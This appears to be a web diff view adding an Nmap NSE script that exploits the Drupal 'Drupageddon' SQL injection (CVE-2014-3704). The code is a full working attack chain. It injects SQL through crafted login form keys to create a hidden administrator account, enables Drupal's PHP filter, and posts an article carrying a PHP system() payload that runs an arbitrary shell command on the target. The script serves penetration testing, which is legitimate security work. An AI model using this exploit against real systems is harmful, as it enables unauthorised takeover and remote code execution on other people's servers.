summaryrefslogtreecommitdiffstats
path: root/scripts/http-vuln-cve2014-3704.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-vuln-cve2014-3704.nse')
-rw-r--r--scripts/http-vuln-cve2014-3704.nse430
1 files changed, 430 insertions, 0 deletions
diff --git a/scripts/http-vuln-cve2014-3704.nse b/scripts/http-vuln-cve2014-3704.nse
new file mode 100644
index 0000000..2091a90
--- /dev/null
+++ b/scripts/http-vuln-cve2014-3704.nse
@@ -0,0 +1,430 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local url = require "url"
+local vulns = require "vulns"
+local openssl = require "openssl"
+local rand = require "rand"
+
+description = [[
+Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32
+of Drupal core are known to be affected.
+
+Vulnerability allows remote attackers to conduct SQL injection attacks via an
+array containing crafted keys.
+
+The script injects new Drupal administrator user via login form and then it
+attempts to log in as this user to determine if target is vulnerable. If that's
+the case following exploitation steps are performed:
+
+* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled,
+* permission to use PHP code for administrator users is set,
+* new article which contains payload is created & previewed,
+* cleanup: by default all DB records that were added/modified by the script are restored.
+
+Vulnerability originally discovered by Stefan Horst from SektionEins.
+
+Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module.
+]]
+
+---
+-- @see http-sql-injection.nse
+--
+-- @usage
+-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" <target>
+-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-vuln-cve2014-3704:
+-- | VULNERABLE:
+-- | Drupal - pre Auth SQL Injection Vulnerability
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2014-3704
+-- | The expandArguments function in the database abstraction API in
+-- | Drupal core 7.x before 7.32 does not properly construct prepared
+-- | statements, which allows remote attackers to conduct SQL injection
+-- | attacks via an array containing crafted keys.
+-- |
+-- | Disclosure date: 2014-10-15
+-- | Exploit results:
+-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
+-- | References:
+-- | https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
+-- | https://www.drupal.org/SA-CORE-2014-005
+-- | http://www.securityfocus.com/bid/70595
+-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
+--
+-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: /
+-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil
+-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB
+-- records that was added/modified during
+-- exploitation phase) will be done.
+-- Default: true
+---
+
+author = "Mariusz Ziulek <mzet()owasp org>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "intrusive", "exploit"}
+
+portrule = shortport.http
+
+--- Appends a new multipart/form-data part to a table
+local function multipart_append_data(r, k, data, extra)
+ r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k)
+ if extra.filename then
+ r[#r + 1] = string.format("; filename=\"%s\"", extra.filename)
+ end
+ if extra.content_type then
+ r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type)
+ end
+ if extra.content_transfer_encoding then
+ r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding)
+ end
+ r[#r + 1] = string.format("\r\n\r\n%s\r\n", data)
+end
+
+--- Creates multipart/form-data message as defined in RFC 2388
+local function multipart_build_body(content, boundary)
+ local r = {}
+ local k, v
+ for k, v in pairs(content) do
+ r[#r + 1] = string.format("--%s\r\n", boundary)
+ if type(v) == "string" then
+ multipart_append_data(r, k, v, {})
+ elseif type(v) == "table" then
+ if v.data == nil then return nil end
+ local extra = {
+ filename = v.filename or v.name,
+ content_type = v.content_type or v.mimetype or "application/octet-stream",
+ content_transfer_encoding = v.content_transfer_encoding or "binary",
+ }
+ multipart_append_data(r, k, v.data, extra)
+ else
+ return nil
+ end
+ end
+
+ r[#r + 1] = string.format("--%s--\r\n", boundary)
+ return table.concat(r)
+end
+
+local function extract_CSRFtoken(content)
+ local pattern = 'name="form_token" value="(.-)"'
+ local value = string.match(content, pattern)
+ return value
+end
+
+local function itoa64(index)
+ local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
+ return string.sub(itoa64, index + 1, index + 1)
+end
+
+local function phpass_encode64(input)
+ local count = #input + 1
+ local out = {}
+ local cur = 1
+
+ while cur < count do
+ local value = string.byte(input, cur)
+ cur = cur + 1
+ table.insert(out, itoa64(value & 0x3f))
+
+ if cur < count then
+ value = value | (string.byte(input, cur) << 8)
+ end
+ table.insert(out, itoa64((value >> 6) & 0x3f))
+
+ if cur >= count then
+ break
+ end
+ cur = cur + 1
+
+ if cur < count then
+ value = value | (string.byte(input, cur) << 16)
+ end
+ table.insert(out, itoa64((value >> 12) & 0x3f))
+
+ if cur >= count then
+ break
+ end
+ cur = cur + 1
+
+ table.insert(out, itoa64((value >> 18) & 0x3f))
+ end
+
+ return table.concat(out)
+end
+
+local function gen_passwd_hash(passwd)
+ local iter = 15
+ local iter_char = itoa64(iter)
+ local iter_count = 1<<iter
+ local salt = rand.random_alpha(8)
+
+ local md5 = openssl.md5(salt .. passwd)
+ for i = 1, iter_count do
+ md5 = openssl.md5(md5 .. passwd)
+ end
+
+ local dgst = phpass_encode64(md5)
+ local h = '$P$' .. iter_char .. salt .. string.sub(dgst, 0, 22)
+ return h
+end
+
+local function do_sql_query(host, port, uri, user)
+
+ local adminRole = 'administrator'
+ local sql_user
+ local sql_admin
+ local passwd
+ local email
+ local passHash
+ local query
+
+ if user == nil then
+ user = rand.random_alpha(10)
+ passwd = rand.random_alpha(10)
+ passHash = gen_passwd_hash(passwd)
+ email = rand.random_alpha(8) .. '@' .. rand.random_alpha(5) .. '.' .. rand.random_alpha(3)
+
+ stdnse.debug(1, string.format("adding admin user (username: '%s'; passwd: '%s')", user, passwd))
+ sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")
+
+ sql_admin = url.escape("insert into users_roles (uid, rid) VALUES ((select uid from users where name='" .. user .. "'), (select rid from role where name = '" .. adminRole .. "'));")
+
+ query = sql_user .. sql_admin
+ else
+ stdnse.debug(1, string.format("removing admin user (username: '%s')", user))
+
+ sql_user = url.escape("delete from users where name='" .. user .. "';")
+
+ sql_admin = url.escape("delete from users_roles where uid=(select uid from users where name='" .. user .. "');")
+
+ query = sql_admin .. sql_user
+ end
+
+ local r = "name[0;" .. query .. "#%20%20]=" .. rand.random_alpha(10) .. "&name[0]=" .. rand.random_alpha(10) .. "&pass=" .. rand.random_alpha(10) .. "&form_id=user_login&op=Log+in"
+
+ local opt = {
+ header = {
+ ['Content-Type'] = "application/x-www-form-urlencoded"
+ }
+ }
+ local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)
+
+ if string.match(res.body, "includes[\\/]database[\\/]database%.inc") and string.match(res.body, "addcslashes%(%)") then
+ return user, passwd
+ end
+
+end
+
+local function set_php_filter(host, port, uri, session, disable)
+
+ -- enable PHP filter
+ if not disable then
+ stdnse.debug(1, "enabling PHP filter module")
+ else
+ stdnse.debug(1, "disabling PHP filter module")
+ end
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ local res = http.get(host, port, uri .. "?q=/admin/modules", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ local enabledModulesPattern = 'name="([^"]*)" value="1" checked="checked" class="form%-checkbox"'
+ local data = {}
+ for m in string.gmatch(res.body, enabledModulesPattern) do
+ data[m] = 1
+ if disable and m == 'modules[Core][php][enable]' then
+ data[m] = nil
+ end
+ end
+
+ if not disable then
+ data['modules[Core][php][enable]'] = 1
+ end
+ data['form_token'] = csrfToken
+ data['form_id'] = 'system_modules'
+ data['op'] = 'Save configuration'
+ res = http.post(host, port, uri .. "?q=/admin/modules/list/confirm", opt, nil, data)
+ if res == nil then return nil end
+
+ return true
+end
+
+local function set_permission(host, port, uri, session, disable)
+
+ -- allow Administrator to use php_code
+ if not disable then
+ stdnse.debug(1, "setting permissions for PHP filter module")
+ else
+ stdnse.debug(1, "restoring permissions for PHP filter module")
+ end
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ local res = http.get(host, port, uri .. "?q=/admin/people/permissions", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"'
+ local data = {}
+ for key, value in string.gmatch(res.body, enabledPermsRegex) do
+ data[key] = value
+ if disable and key == '3[use text format php_code]' then
+ data[key] = nil
+ end
+ end
+
+ if not disable then
+ data['3[use text format php_code]'] = 'use text format php_code'
+ end
+ data['form_token'] = csrfToken
+ data['form_id'] = 'user_admin_permissions'
+ data['op'] = 'Save permissions'
+ res = http.post(host, port, uri .. "?q=/admin/people/permissions", opt, nil, data)
+ if res == nil then return nil end
+
+ return true
+end
+
+local function trigger_exploit(host, port, uri, session, cmd)
+
+ local opt = {}
+ opt['cookies'] = session.name ..'='.. session.value
+
+ -- add new Content page & trigger RCE
+ stdnse.debug(1, string.format("%s", "creating new article page with planted payload"))
+
+ local res = http.get(host, port, uri .. "?q=/node/add/article", opt)
+ if res == nil then return nil end
+
+ local csrfToken = extract_CSRFtoken(res.body)
+
+ stdnse.debug(1, string.format("%s", "calling preview article page & triggering exploit"))
+ local pattern = '"' .. rand.random_alpha(5)
+ local payload = "<?php echo '" .. pattern .. " '; system('" .. cmd .. "'); echo '".. pattern .. " '; ?>"
+ local boundary = rand.random_alpha(16)
+ opt['header'] = {}
+ opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary
+
+ local files = {
+ ['title'] = 'title',
+ ['form_id'] = 'article_node_form',
+ ['form_token'] = csrfToken,
+ ['body[und][0][value]'] = payload,
+ ['body[und][0][format]'] = 'php_code',
+ ['op'] = 'Preview',
+ }
+ local body = multipart_build_body(files, boundary)
+
+ res = http.post(host, port, uri .. "?q=/node/add/article", opt, nil, body)
+ if res == nil then return nil end
+
+ return res.body, pattern
+end
+
+action = function(host, port)
+
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+ local cleanup = nil
+ if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then
+ cleanup = "false"
+ end
+
+ local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
+ local vuln = {
+ title = 'Drupal - pre Auth SQL Injection Vulnerability',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ The expandArguments function in the database abstraction API in
+ Drupal core 7.x before 7.32 does not properly construct prepared
+ statements, which allows remote attackers to conduct SQL injection
+ attacks via an array containing crafted keys.
+ ]],
+ IDS = {CVE = 'CVE-2014-3704'},
+ references = {
+ 'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
+ 'https://www.drupal.org/SA-CORE-2014-005',
+ 'http://www.securityfocus.com/bid/70595',
+ },
+ dates = {
+ disclosure = {year = '2014', month = '10', day = '15'},
+ },
+ }
+
+ local user, passwd = do_sql_query(host, port, uri, nil)
+
+ if user == nil or passwd == nil then
+ return vulnReport:make_output(vuln)
+ end
+
+ stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))
+
+ vuln.state = vulns.STATE.EXPLOIT
+
+ local data = {
+ ['name'] = user,
+ ['pass'] = passwd,
+ ['form_id'] = 'user_login',
+ ['op'] = 'Log in',
+ }
+
+ local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)
+
+ if res.status == 302 and res.cookies[1].name ~= nil then
+
+ stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))
+
+ if cmd ~= nil then
+ local session = {}
+ session.name = res.cookies[1].name
+ session.value = res.cookies[1].value
+
+ set_php_filter(host, port, uri, session, false)
+
+ set_permission(host, port, uri, session, false)
+
+ local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd)
+
+ local cmdOut = nil
+ for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do
+ cmdOut = m
+ break
+ end
+
+ if cmdOut ~= nil then
+ vuln.exploit_results = cmdOut
+ end
+
+ -- cleanup: restore permission & disable php filter module
+ if cleanup == nil then
+ set_permission(host, port, uri, session, true)
+ set_php_filter(host, port, uri, session, true)
+ end
+ end
+
+ else
+ vuln.state = vulns.STATE.LIKELY_VULN
+ vuln.check_results = "Account created but unable to log in."
+ end
+
+ -- cleanup: remove admin user
+ if cleanup == nil then
+ do_sql_query(host, port, uri, user)
+ end
+
+ return vulnReport:make_output(vuln)
+
+end